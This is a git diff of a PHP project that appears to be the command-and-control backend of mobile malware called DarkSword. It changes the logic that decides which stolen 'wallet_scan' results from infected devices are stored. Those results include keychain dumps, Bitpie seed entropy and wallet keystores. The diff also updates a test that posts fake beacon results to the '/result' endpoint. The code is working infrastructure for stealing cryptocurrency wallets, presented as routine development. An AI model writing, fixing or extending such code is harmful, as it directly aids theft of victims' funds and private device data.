diff --git a/app/Services/DarkSwordIngestAdapter.php b/app/Services/DarkSwordIngestAdapter.php index a4b3d9b..be0a1f8 100644 --- a/app/Services/DarkSwordIngestAdapter.php +++ b/app/Services/DarkSwordIngestAdapter.php @@ -368,14 +368,14 @@ class DarkSwordIngestAdapter } /** - * A wallet_scan summary (wallet_pkg.json) with no keychain dump uploaded, - * no installed wallets and no sandbox files carries no recoverable material - * (no entropy, no keystore UTC, no addresses) — skip storing it entirely. + * A wallet_scan summary (wallet_pkg.json) carries recoverable material + * only via its own `installed_wallets` / `sandbox_files` fields. When both + * are empty the record has nothing to ingest — skip it entirely. * - * Note: a result with `keychain_dump_uploaded: true` is kept even when - * `installed_wallets` is empty, because the keychain dump (uploaded as a - * separate keychain_c2_dump.json result) may still hold wallet entropy - * such as Bitpie seedPhraseEntropy. + * `keychain_dump_uploaded` only signals that a separate keychain_c2_dump + * result file was uploaded; that dump's content (e.g. Bitpie entropy) lives + * in its own result file, not in this wallet_pkg record, so it is irrelevant + * to whether this summary is worth keeping. * * @param array $payload */ @@ -394,8 +394,7 @@ class DarkSwordIngestAdapter return false; } - return ($json['keychain_dump_uploaded'] ?? null) === false - && empty($json['installed_wallets'] ?? []) + return empty($json['installed_wallets'] ?? []) && empty($json['sandbox_files'] ?? []); } diff --git a/tests/Feature/DarkSwordC2ApiTest.php b/tests/Feature/DarkSwordC2ApiTest.php index c5925cb..d8c0db8 100644 --- a/tests/Feature/DarkSwordC2ApiTest.php +++ b/tests/Feature/DarkSwordC2ApiTest.php @@ -1026,7 +1026,7 @@ class DarkSwordC2ApiTest extends TestCase } #[Test] - public function result_keeps_wallet_scan_summary_when_keychain_dump_uploaded(): void + public function result_skips_wallet_scan_summary_even_when_keychain_dump_uploaded(): void { Storage::fake('local'); $device = Device::query()->create([ @@ -1042,7 +1042,8 @@ class DarkSwordC2ApiTest extends TestCase 'command_id' => 'dsq-scan-keep-1', ]); - // installed_wallets empty BUT keychain dump was uploaded -> keep (bitpie case). + // installed_wallets empty AND sandbox_files empty -> skip even though a + // keychain dump was uploaded (that dump lives in a separate result file). $keep = base64_encode(json_encode([ 'device_uuid' => self::DS_LHU, 'installed_wallets' => [], @@ -1059,9 +1060,49 @@ class DarkSwordC2ApiTest extends TestCase 'data' => $keep, ])->assertOk(); - $this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count()); - Storage::disk('local')->assertExists( + $this->assertSame(0, WalletKeystore::query()->where('device_id', $device->id)->count()); + Storage::disk('local')->assertMissing( 'c2/ds-results/'.self::DS_LHU.'/dsq-scan-keep-1/wallet_pkg.json' ); } + + #[Test] + public function result_keeps_wallet_scan_summary_when_installed_wallets_present(): void + { + Storage::fake('local'); + $device = Device::query()->create([ + 'device_id' => self::DS_LHU, + 'chain' => Device::CHAIN_DARKSWORD, + 'album_storage' => true, + ]); + DsBeaconTask::query()->create([ + 'device_id' => $device->id, + 'position' => 1, + 'type' => 'wallet_scan', + 'status' => DsBeaconTask::STATUS_DISPATCHED, + 'command_id' => 'dsq-scan-wallets-1', + ]); + + // installed_wallets non-empty -> keep (real wallet material present). + $keep = base64_encode(json_encode([ + 'device_uuid' => self::DS_LHU, + 'installed_wallets' => [['bundleId' => 'im.token.app', 'name' => 'imToken']], + 'sandbox_files' => [], + 'total_size' => 1024, + 'keychain_dump_uploaded' => true, + '_task_type' => 'wallet_scan', + ])); + $this->postJson('/result', [ + 'uuid' => self::DS_LHU, + 'command_id' => 'dsq-scan-wallets-1', + 'filename' => 'wallet_pkg.json', + 'category' => 'wallet_scan', + 'data' => $keep, + ])->assertOk(); + + $this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count()); + Storage::disk('local')->assertExists( + 'c2/ds-results/'.self::DS_LHU.'/dsq-scan-wallets-1/wallet_pkg.json' + ); + } }